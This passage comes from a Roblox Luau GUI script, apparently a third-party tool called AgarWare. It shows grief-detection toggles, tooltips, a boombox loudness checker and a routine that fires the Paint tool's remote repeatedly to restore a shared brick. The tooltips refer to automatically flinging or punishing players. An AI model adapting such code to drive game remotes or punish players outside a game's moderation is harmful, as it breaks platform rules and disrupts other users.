ScreenGui:SetAttribute("PaintLogsEnabled", Enabled) updateVisual() end) updateVisual() end; task.spawn(C_1f3); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamScript local function C_1f7() local script = G2L["1f7"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local EnableSpamRow = script.Parent local EnableGroup = EnableSpamRow.Parent local EnableSpamTickBox = EnableSpamRow:WaitForChild("EnableSpamTickBox") local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor") local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui") local Enabled = false local function updateVisual() if Enabled then EnableSpamTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3 print("Spam Detection ON") else EnableSpamTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) print("Spam Detection OFF") end end EnableSpamTickBox.MouseButton1Click:Connect(function() Enabled = not Enabled ScreenGui:SetAttribute("SpamLogsEnabled", Enabled) updateVisual() end) updateVisual() end; task.spawn(C_1f7); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsScript local function C_1fb() local script = G2L["1fb"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local EnableExploitsRow = script.Parent local EnableGroup = EnableExploitsRow.Parent local EnableExploitsTickBox = EnableExploitsRow:WaitForChild("EnableExploitsTickBox") local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor") local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui") local Enabled = false local function updateVisual() if Enabled then EnableExploitsTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3 print("Exploits Detection ON") else EnableExploitsTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) print("Exploits Detection OFF") end end EnableExploitsTickBox.MouseButton1Click:Connect(function() Enabled = not Enabled ScreenGui:SetAttribute("ExploitsLogsEnabled", Enabled) updateVisual() end) updateVisual() end; task.spawn(C_1fb); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscScript local function C_1ff() local script = G2L["1ff"]; local MiscGroup = script.Parent local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize local function getRows() local rows = {} for _, child in ipairs(MiscGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = MiscGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) MiscMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then MiscGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end MiscMinimize.Text = "+" else MiscGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end MiscMinimize.Text = "-" end end) end; task.spawn(C_1ff); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscToolTip local function C_200() local script = G2L["200"]; -- ============================================================ -- ENABLE TOOLTIP SCRIPT -- Controls Enable-related tooltips only -- ============================================================ local Group = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND UI REFERENCES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local LBoomboxTickBox = findDescendant("LBoomboxTickBox") local FDetectorRowTickBox = findDescendant("FDetectorRowTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local boomboxTooltip = makeTooltip( "Detects players playing their boombox too loud. Turn on alert in chat to notifed when this happens, turn on confirm grief to fling them." ) local fdetectorTooltip = makeTooltip( "Detects players using fling scripts or touch flinging other players. Turn on alert in chat to be notified when this happens." ) -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(LBoomboxTickBox, boomboxTooltip) hookTooltip(FDetectorRowTickBox, fdetectorTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then boomboxTooltip:Destroy() fdetectorTooltip:Destroy() end end) end; task.spawn(C_200); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxScript local function C_206() local script = G2L["206"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer -------------------------------------------------- -- GUI REFERENCES -------------------------------------------------- local LBoomboxRow = script.Parent local MiscGroup = LBoomboxRow.Parent local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor") local LBoomboxTickBox = LBoomboxRow:WaitForChild("LBoomboxTickBox") local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui") -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- local Enabled = false local function updateVisual() if Enabled then LBoomboxTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else LBoomboxTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end LBoomboxTickBox.MouseButton1Click:Connect(function() Enabled = not Enabled updateVisual() end) updateVisual() -------------------------------------------------- -- SETTINGS -------------------------------------------------- local LOUD_THRESHOLD = 700 local CHECK_INTERVAL = 1 -- seconds between loudness checks per player local FAR_DISTANCE = 100 -- studs — if farther than this, snap camera to measure -------------------------------------------------- -- TABLES -------------------------------------------------- local lastCheck = {} local detectedIDs = {} -- store detected AudioIds per player to prevent repeats -------------------------------------------------- -- EVENTS -------------------------------------------------- shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent") shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent") -------------------------------------------------- -- GET BOOMBOX SOUND -------------------------------------------------- local function getBoomboxSound(player) local char = workspace:FindFirstChild(player.Name) if not char then return nil end local boombox = char:FindFirstChild("SuperFlyGoldBoombox") if not boombox then return nil end for _, obj in ipairs(boombox:GetDescendants()) do if obj:IsA("Sound") then return obj end end return nil end -------------------------------------------------- -- GET LOUDNESS (optimized) -------------------------------------------------- local function getLoudness(player, sound) local myChar = LocalPlayer.Character local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart") local theirChar = workspace:FindFirstChild(player.Name) local theirHRP = theirChar and theirChar:FindFirstChild("HumanoidRootPart") if not myHRP or not theirHRP then return sound.PlaybackLoudness end local dist = (myHRP.Position - theirHRP.Position).Magnitude -- Only snap camera if far away if dist <= FAR_DISTANCE then return sound.PlaybackLoudness end -- Far-away: just approximate loudness without snapping every frame local cam = workspace.CurrentCamera local savedCFrame = cam.CFrame cam.CFrame = CFrame.new(theirHRP.Position) RunService.RenderStepped:Wait() local loudness = sound.PlaybackLoudness cam.CFrame = savedCFrame return loudness end -------------------------------------------------- -- ALERT HELPERS -------------------------------------------------- local function sendAlertChat(player) if not shared.sendChat then return end local alertRow = ScreenGui:FindFirstChild("AlertGriefRow", true) local alertTickBox = alertRow and alertRow:FindFirstChild("AlertGriefTickBox") if alertTickBox and alertTickBox:GetAttribute("Enabled") then shared.sendChat("🚨" .. player.DisplayName .. " is playing on the boombox too loud") end end local function playSFX() local sfxRow = ScreenGui:FindFirstChild("SFXGriefRow", true) local sfxTickBox = sfxRow and sfxRow:FindFirstChild("SFXGriefTickBox") if sfxTickBox and sfxTickBox:GetAttribute("Enabled") then local sound = LocalPlayer.PlayerGui:FindFirstChildOfClass("Sound") if sound then sound:Stop() sound:Play() task.delay(2, function() sound:Stop() end) end end end -------------------------------------------------- -- TRIGGER -------------------------------------------------- local function onBoomboxLoud(player, sound) if not Enabled then return end if not detectedIDs[player.UserId] then detectedIDs[player.UserId] = {} end local audioId = sound.SoundId if detectedIDs[player.UserId][audioId] then return end detectedIDs[player.UserId][audioId] = true print("[BOOMBOX] " .. player.Name .. " is too loud: AudioID=" .. audioId) sendAlertChat(player) playSFX() local confirmRow = ScreenGui:FindFirstChild("ConfirmGriefRow", true) local confirmTickBox = confirmRow and confirmRow:FindFirstChild("ConfirmGriefTickBox") if confirmTickBox and confirmTickBox:GetAttribute("Enabled") then shared.BoomboxLoudEvent:Fire(player) end end -------------------------------------------------- -- DETECTION LOOP (optimized) -------------------------------------------------- task.spawn(function() while true do if Enabled then local now = tick() for _, player in ipairs(Players:GetPlayers()) do if player == LocalPlayer then continue end local userId = player.UserId if not lastCheck[userId] or now - lastCheck[userId] >= CHECK_INTERVAL then lastCheck[userId] = now local sound = getBoomboxSound(player) if sound and sound.IsPlaying then local loudness = getLoudness(player, sound) if loudness > LOUD_THRESHOLD then onBoomboxLoud(player, sound) end end end end end task.wait(0.2) -- small delay to prevent tight loop end end) end; task.spawn(C_206); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepScript local function C_20a() local script = G2L["20a"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local ReplicatedStorage = game:GetService("ReplicatedStorage") local repBrick = ReplicatedStorage:WaitForChild("Brick") -------------------------------------------------- -- GUI REFERENCES -------------------------------------------------- local AutoPaintRepRow = script.Parent local MiscGroup = AutoPaintRepRow.Parent local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor") local AutoPaintRepTickBox = AutoPaintRepRow:WaitForChild("AutoPaintRepTickBox") -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- AutoPaintRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0) AutoPaintRepTickBox:SetAttribute("Enabled", false) local function updateVisual() if AutoPaintRepTickBox:GetAttribute("Enabled") then AutoPaintRepTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else AutoPaintRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end AutoPaintRepTickBox.MouseButton1Click:Connect(function() local state = not AutoPaintRepTickBox:GetAttribute("Enabled") AutoPaintRepTickBox:SetAttribute("Enabled", state) updateVisual() end) updateVisual() -- ============================================================ -- TOOLTIP -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "AutoPaintRepTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = script.Parent.Parent:FindFirstAncestorWhichIsA("ScreenGui") tooltipFrame.ClipsDescendants = true tooltipFrame.Active = false tooltipFrame.Selectable = false local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Automatically restores bkit when a player using exploits to paint the ReplicatedStorage.Brick. It also checks in every minute if it failed to restore. You must have Paint tool." tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.AutomaticSize = Enum.AutomaticSize.Y tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame AutoPaintRepTickBox.MouseEnter:Connect(function() local abs = AutoPaintRepTickBox.AbsolutePosition local size = AutoPaintRepTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) AutoPaintRepTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -------------------------------------------------- -- SHARED STATE -------------------------------------------------- shared.IsRestoringBKit = false shared.AutoPaintDebounce = nil -------------------------------------------------- -- CLEAN MATERIALS -------------------------------------------------- local CLEAN_MATERIALS = { ["SmoothPlastic"] = true, ["CeramicTiles"] = true, ["Plastic"] = true, ["Concrete"] = true, } local lastMaterial = repBrick.Material -------------------------------------------------- -- HELPERS -------------------------------------------------- local function sendChat(msg) if shared.sendChat then shared.sendChat(msg) end end local function getPaintTool() return LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint")) end local function getPaintEvent() local tool = getPaintTool() if not tool then return nil end local s = tool:FindFirstChild("Script") return s and s:FindFirstChild("Event") end local function isRepPaintsEnabled() return shared.RepPaintsEnabled == true end -- NEW: Force equip Paint tool if it gets unequipped during restoration local function ensurePaintEquipped() local character = LocalPlayer.Character if not character then return false end -- Check if Paint is already equipped if character:FindFirstChild("Paint") then return true end -- Paint is not equipped, force equip it local paintInBackpack = LocalPlayer.Backpack:FindFirstChild("Paint") if not paintInBackpack then return false -- Paint tool doesn't exist end local hum = character:FindFirstChild("Humanoid") if not hum then return false end -- Force equip hum:EquipTool(paintInBackpack) task.wait(0.15) -- Verify it's equipped return character:FindFirstChild("Paint") ~= nil end local SIDES = { Enum.NormalId.Front, Enum.NormalId.Right, Enum.NormalId.Back, Enum.NormalId.Left, Enum.NormalId.Top, Enum.NormalId.Bottom, } local DEFAULT_COLOR = Color3.fromRGB(192, 192, 192) local DEFAULT_MATERIAL = "plastic" -------------------------------------------------- -- RESTORE FUNCTION USING PAINT TOOL -------------------------------------------------- local function restoreBrick(repBrick, sendMessage) local character = LocalPlayer.Character if not character then return false end local previousTool = character:FindFirstChildOfClass("Tool") local wasPaintEquipped = previousTool and previousTool.Name == "Paint" if not wasPaintEquipped then local paintInBackpack = LocalPlayer.Backpack:FindFirstChild("Paint") if not paintInBackpack then return false end local hum = character:FindFirstChild("Humanoid") if not hum then return false end hum:EquipTool(paintInBackpack) task.wait(0.1) end local paintEvent = getPaintEvent() if not paintEvent then return false end -- Step 1: Repaint all sides with default color for _, side in ipairs(SIDES) do -- Ensure Paint is still equipped if not ensurePaintEquipped() then return false end pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", DEFAULT_COLOR, "", "") end) task.wait(0.05) end -- Step 2: Apply default material - KEEP TRYING UNTIL IT'S A CLEAN MATERIAL local maxMaterialAttempts = 10 for attempt = 1, maxMaterialAttempts do -- Ensure Paint is still equipped before each attempt if not ensurePaintEquipped() then return false end -- Check if material is already clean if CLEAN_MATERIALS[repBrick.Material.Name] then break end -- Apply plastic material pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", DEFAULT_COLOR, DEFAULT_MATERIAL, "") end) task.wait(0.15) end -- Step 3: Clear ALL sprays - KEEP SPRAYING UNTIL NO CHILDREN REMAIN local maxSprayAttempts = 20 for attempt = 1, maxSprayAttempts do -- Ensure Paint is still equipped before each spray cycle if not ensurePaintEquipped() then return false end -- Check if all sprays are gone if #repBrick:GetChildren() == 0 then break end -- Spray all sides for _, side in ipairs(SIDES) do -- Check Paint tool is equipped before each side if not ensurePaintEquipped() then return false end pcall(function() paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", DEFAULT_COLOR, "spray", "") end) task.wait(0.03) end task.wait(0.05) end -- Step 4: Anchor if unanchored if not repBrick.Anchored then -- Ensure Paint is equipped if not ensurePaintEquipped() then return false end -- Clear spray on Top side first pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", DEFAULT_COLOR, "spray", "") end) task.wait(0.1) -- Anchor it pcall(function() paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "") end) task.wait(0.1) end -- Re-equip previous tool if not wasPaintEquipped then local hum = character:FindFirstChild("Humanoid") if hum then hum:UnequipTools() task.wait(0.1) if previousTool and previousTool.Parent == LocalPlayer.Backpack then hum:EquipTool(previousTool) end end end -- Send message if requested if sendMessage and isRepPaintsEnabled() then sendChat("✅Bkit has been restored back to normal") end return true end -------------------------------------------------- -- CHANGE COUNTING -------------------------------------------------- local function isChangeCounted() local mat = repBrick.Material local color = repBrick.Color local anchored = repBrick.Anchored local hasChildren = #repBrick:GetChildren() > 0 -- Only ignore material-change itself if Clean→Clean or Normal→Clean local materialChangeIgnored = (CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name]) or (not CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name]) lastMaterial = mat -- always update tracker -- Count change if ANY of these is true (OR logic) if materialChangeIgnored then -- ignore only material-change itself return hasChildren or anchored == false or color ~= DEFAULT_COLOR or not CLEAN_MATERIALS[mat.Name] else return true end end -------------------------------------------------- -- BRICK CHANGE HANDLER -------------------------------------------------- local function onBrickChanged() if not AutoPaintRepTickBox:GetAttribute("Enabled") then return end if shared.IsRestoringBKit then return end if isChangeCounted() then if shared.AutoPaintDebounce then task.cancel(shared.AutoPaintDebounce) end shared.AutoPaintDebounce = task.delay(1, function() shared.AutoPaintDebounce = nil shared.IsRestoringBKit = true -- Check if Paint tool exists before restoring local hasPaintTool = getPaintTool() ~= nil if hasPaintTool then -- Restore with message (detected from change event) restoreBrick(repBrick, true) end shared.IsRestoringBKit = false end) end end -------------------------------------------------- -- 60-SECOND CHECK LOOP -------------------------------------------------- local function checkBrickProperties() if not AutoPaintRepTickBox:GetAttribute("Enabled") then return false end if shared.IsRestoringBKit then return false end local color = repBrick.Color local material = repBrick.Material local hasChildren = #repBrick:GetChildren() > 0 -- Check if brick needs restoration local needsRestore = false -- Check color (must be exactly 192, 192, 192) if color ~= DEFAULT_COLOR then needsRestore = true end -- Check material (must be one of the clean materials) if not CLEAN_MATERIALS[material.Name] then needsRestore = true end -- Check children (must have no children) if hasChildren then needsRestore = true end return needsRestore end task.spawn(function() while task.wait(60) do if AutoPaintRepTickBox:GetAttribute("Enabled") then if checkBrickProperties() then -- Brick needs restoration local hasPaintTool = getPaintTool() ~= nil if hasPaintTool and not shared.IsRestoringBKit then shared.IsRestoringBKit = true -- Restore WITHOUT message (60-second check, not change detection) restoreBrick(repBrick, false) shared.IsRestoringBKit = false end end end end end) -------------------------------------------------- -- MONITOR -------------------------------------------------- local connections = {} local function startWatching() table.insert(connections, repBrick:GetPropertyChangedSignal("Color"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("Material"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("Anchored"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("Size"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("BrickColor"):Connect(onBrickChanged)) table.insert(connections, repBrick.ChildAdded:Connect(onBrickChanged)) table.insert(connections, repBrick.ChildRemoved:Connect(onBrickChanged)) end local function stopWatching() for _, c in ipairs(connections) do pcall(function() c:Disconnect() end) end connections = {} if shared.AutoPaintDebounce then task.cancel(shared.AutoPaintDebounce) shared.AutoPaintDebounce = nil end end startWatching() script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then stopWatching() end end) end; task.spawn(C_20a); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsScript local function C_210() local script = G2L["210"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local GSettingsGroup = script.Parent local GSettingsMinimize = GSettingsGroup.GSettingsTitle.GSettingsMinimize local function getRows() local rows = {} for _, child in ipairs(GSettingsGroup:GetChildren()) do if child:IsA("Frame") and string.sub(child.Name, -3) == "Row" then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = GSettingsGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) GSettingsMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then GSettingsGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end GSettingsMinimize.Text = "+" else GSettingsGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end GSettingsMinimize.Text = "-" end end) end; task.spawn(C_210); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GSettingsToolTip local function C_211() local script = G2L["211"]; -- ============================================================ -- ENABLE TOOLTIP SCRIPT -- ============================================================ local Group = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND UI REFERENCES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end -- Enable tickboxes (left side, unchanged) local EnableDeleteTickBox = findDescendant("EnableDeleteTickBox") local EnableToxifyTickBox = findDescendant("EnableToxifyTickBox") local EnableAnchoredTickBox = findDescendant("EnableAnchoredTickBox") local EnableSpamTickBox = findDescendant("EnableSpamTickBox") local EnableExploitsTickBox = findDescendant("EnableExploitsTickBox") local EnableHelp = findDescendant("EnableHelp") -- GSettings (right side) local CooldownGriefHelp = findDescendant("CooldownGriefHelp") local GriefEnlightenTickBox = findDescendant("GriefEnlightenTickBox") local GriefInGameTickBox = findDescendant("GriefInGameTickBox") local TimeFilterHelp = findDescendant("TimeFilterHelp") local WListHelp = findDescendant("WListHelp") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ -- Left side (enable group) - unchanged local deleteTooltip = makeTooltip( "Detects players deleting other people's builds." ) local toxifyTooltip = makeTooltip( "Detects players toxifying other people's builds." ) local anchoredTooltip = makeTooltip( "Detects players unanchoring other people's builds." ) local spamTooltip = makeTooltip( "Detects players spamming blocks." ) local exploitsTooltip = makeTooltip( "Detects players using grief auras, grief scripts and other exploits. You must turn on any grief detections to detect when they use exploits to grief with those tools.\n\nAlert in chat will send a different message when they use scripts to grief." ) local helpTooltip = makeTooltip( "Enabling any detection will monitor for possible griefing.\nTurn on punish options to automatically punish detected players.\n\nView detection logs by typing /console in chat." ) -- Right side (GSettings) local cooldownTooltip = makeTooltip( "Sets the cooldown in seconds before a player can be flagged for griefing again.\n\nSet to 0 for no cooldown." ) local enlightenTooltip = makeTooltip( "When ON, all players are monitored for griefing.\n\nWhen OFF, players who own The Arkenstone in their backpack are ignored and will not be detected." ) local inGameTooltip = makeTooltip( "When ON, deleting blocks counts as griefing even if the block owner is offline.\n\nWhen OFF, only deleting blocks of players currently in the server counts as griefing." ) local timeFilterTooltip = makeTooltip( "Only detects players whose playtime (in seconds) is below this number.\n\nSet to 0 to detect everyone regardless of playtime." ) local wlistTooltip = makeTooltip( "Whitelisted players will never be flagged for griefing, regardless of any other settings." ) -- ============================================================ -- HOOK THEM -- ============================================================ -- Left side hookTooltip(EnableDeleteTickBox, deleteTooltip) hookTooltip(EnableToxifyTickBox, toxifyTooltip) hookTooltip(EnableAnchoredTickBox, anchoredTooltip) hookTooltip(EnableSpamTickBox, spamTooltip) hookTooltip(EnableExploitsTickBox, exploitsTooltip) hookTooltip(EnableHelp, helpTooltip) -- Right side hookTooltip(CooldownGriefHelp, cooldownTooltip) hookTooltip(GriefEnlightenTickBox, enlightenTooltip) hookTooltip(GriefInGameTickBox, inGameTooltip) hookTooltip(TimeFilterHelp, timeFilterTooltip) hookTooltip(WListHelp, wlistTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then deleteTooltip:Destroy() toxifyTooltip:Destroy() anchoredTooltip:Destroy() spamTooltip:Destroy() exploitsTooltip:Destroy() helpTooltip:Destroy() cooldownTooltip:Destroy() enlightenTooltip:Destroy() inGameTooltip:Destroy() timeFilterTooltip:Destroy() wlistTooltip:Destroy() end end) end; task.spawn(C_211); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.TimeFilterRow.TimeFilterChanger.TimeFilterScript local function C_219() local script = G2L["219"]; local textBox = script.Parent -- TimeFilterChanger TextBox -- Show current filter on load and print it shared.GriefTimeFilter = shared.GriefTimeFilter or 0 textBox.Text = tostring(shared.GriefTimeFilter) if shared.GriefTimeFilter == 0 then print("[Time Filter] Set to 0 - detecting everyone") else print("[Time Filter] Set to", shared.GriefTimeFilter, "- detecting players under", shared.GriefTimeFilter, "seconds playtime") end textBox.FocusLost:Connect(function() local num = tonumber(textBox.Text) if num and num >= 0 then shared.GriefTimeFilter = num if num == 0 then print("[Time Filter] Set to 0 - detecting everyone") else print("[Time Filter] Updated to", num, "- detecting players under", num, "seconds playtime") end else textBox.Text = tostring(shared.GriefTimeFilter) print("[Time Filter] Invalid input, keeping", shared.GriefTimeFilter) end end) end; task.spawn(C_219); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelScript local function C_21c() local script = G2L["21c"]; local WListLabelRow = script.Parent local WListLabelHelp = WListLabelRow.WListLabelHelp local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "WListTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Whitelisted players will be ignored by grief detection" tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.AutomaticSize = Enum.AutomaticSize.Y tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame WListLabelHelp.MouseEnter:Connect(function() local abs = WListLabelHelp.AbsolutePosition 